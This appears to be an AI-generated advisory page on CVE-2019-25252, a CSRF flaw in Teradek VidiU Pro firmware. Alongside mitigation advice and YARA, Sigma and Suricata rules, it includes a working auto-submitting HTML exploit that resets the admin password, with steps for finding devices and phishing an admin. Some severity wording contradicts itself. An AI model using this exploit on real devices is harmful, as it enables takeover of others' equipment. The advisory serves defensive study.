CVE-2019-25252
Executive Summary
CVE-2019-25252 is a critical Cross-Site Request Forgery (CSRF) vulnerability affecting the Teradek VidiU Pro firmware version 3.0.3. This flaw allows an attacker to craft a malicious web page that, when visited by an authenticated administrator, silently submits a request to change the device’s administrative password. The vulnerability stems from the lack of CSRF tokens or origin validation in the password change endpoint. Successful exploitation grants the attacker full administrative control over the device, enabling further compromise of video streaming infrastructure. No official patch has been released by Teradek, making this a high-risk, unpatched vulnerability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 8.8 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: Required (UI:R) – victim must be logged in as admin
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and grants full device control. The lack of a patch increases the risk for all unpatched devices.
Deep Dive & Mechanics
The Teradek VidiU Pro is a professional video encoder used for live streaming. The administrative web interface includes a password change function that accepts POST requests without validating a CSRF token or checking the Referer header. An attacker can host a simple HTML page containing a form that auto-submits to the device’s password change endpoint. When a logged-in administrator visits this page, the browser automatically sends the request with the victim’s session cookies, changing the password to a value chosen by the attacker.
Attack Flow:
- Attacker identifies a VidiU Pro device (e.g., via Shodan).
- Attacker crafts a malicious HTML page with a hidden form targeting
http://<device-ip>/cgi-bin/password.cgiwith parametersnewpassandconfirmpass. - Attacker lures an authenticated admin to visit the page (e.g., via phishing email).
- The victim’s browser sends the POST request with the admin’s session cookies.
- The device processes the request and changes the admin password.
- Attacker logs in with the new password and gains full control.
Vulnerable vs. Patched Code
Vulnerable Code (Teradek VidiU Pro 3.0.3):
The password change endpoint /cgi-bin/password.cgi accepts POST requests without any CSRF protection. The server does not validate the origin or include a CSRF token.
# Pseudocode of vulnerable handler
def handle_password_change(request):
if request.method == 'POST':
new_password = request.form['newpass']
confirm_password = request.form['confirmpass']
if new_password == confirm_password:
# No CSRF check
update_admin_password(new_password)
return "Password changed"
Patched Code (Hypothetical): A patched version would include a CSRF token that must be submitted with the request.
# Pseudocode of patched handler
import secrets
def handle_password_change(request):
if request.method == 'POST':
token = request.form.get('csrf_token')
if not token or token != session['csrf_token']:
return "CSRF validation failed", 403
new_password = request.form['newpass']
confirm_password = request.form['confirmpass']
if new_password == confirm_password:
update_admin_password(new_password)
return "Password changed"
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy a Teradek VidiU Pro with firmware 3.0.3 in an isolated network.
- Log in as admin to establish a session.
- Host the following HTML page on an attacker-controlled server.
Exploit HTML (CSRF):
<html>
<body>
<form id="csrf" action="http://<target-ip>/cgi-bin/password.cgi" method="POST">
<input type="hidden" name="newpass" value="attacker123">
<input type="hidden" name="confirmpass" value="attacker123">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
Usage:
- Replace
<target-ip>with the device’s IP. - Host this page and send the link to an authenticated admin.
- Once the admin visits, the password changes to
attacker123. - Log in with the new password to gain admin access.
Blue Team
Detection:
- Monitor for unexpected password changes via device logs.
- Use network monitoring to detect POST requests to
/cgi-bin/password.cgiwith suspiciousRefererheaders. - Implement a proxy that validates CSRF tokens for all administrative actions.
Mitigation:
- Isolate VidiU Pro devices on a separate VLAN with strict access controls.
- Disable remote administration if not required.
- Use a reverse proxy with CSRF protection (e.g., ModSecurity) in front of the device.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/cgi-bin/password.cgiwithRefererheader not matching the device’s domain. - Unusual login attempts from new IPs after a password change.
- POST requests to
- Host:
- Device logs showing password change events without prior admin action.
- Presence of unexpected admin sessions.
- File:
- No file-based IOCs as this is a web-based attack.
Detection Engineering
YARA Rule
rule CVE_2019_25252_CSRF_Exploit {
meta:
description = "Detects CSRF exploit HTML for Teradek VidiU Pro"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2019-25252"
strings:
$csrf_form = "action=\"http://" ascii wide nocase
$password_field = "name=\"newpass\"" ascii wide nocase
$confirm_field = "name=\"confirmpass\"" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: Teradek VidiU Pro CSRF Password Change
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects POST requests to /cgi-bin/password.cgi with suspicious Referer
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/cgi-bin/password.cgi'
filter:
cs-referer: 'http://<device-ip>/*'
condition: selection and not filter
falsepositives:
- Legitimate admin actions from the device's own interface
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2019-25252 Teradek VidiU Pro CSRF Password Change";
flow:to_server,established;
content:"POST"; http_method;
content:"/cgi-bin/password.cgi"; http_uri;
content:"newpass"; http_client_body;
content:"confirmpass"; http_client_body;
sid:1000001;
rev:1;
reference:cve,2019-25252;
)
Remediation & Mitigation
Immediate Actions:
- Isolate Devices: Place VidiU Pro devices on a separate VLAN with no direct internet access.
- Disable Remote Admin: If remote administration is not required, disable it via the device settings.
- Use a Reverse Proxy: Deploy a reverse proxy (e.g., Nginx with ModSecurity) that adds CSRF tokens and validates requests.
- Monitor Logs: Enable logging and monitor for unauthorized password changes.
Long-Term:
- Contact Teradek for a firmware update or consider replacing the device with a patched alternative.
- Implement network segmentation and strict access controls for all IoT/broadcast devices.
- Conduct regular security assessments of embedded devices.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.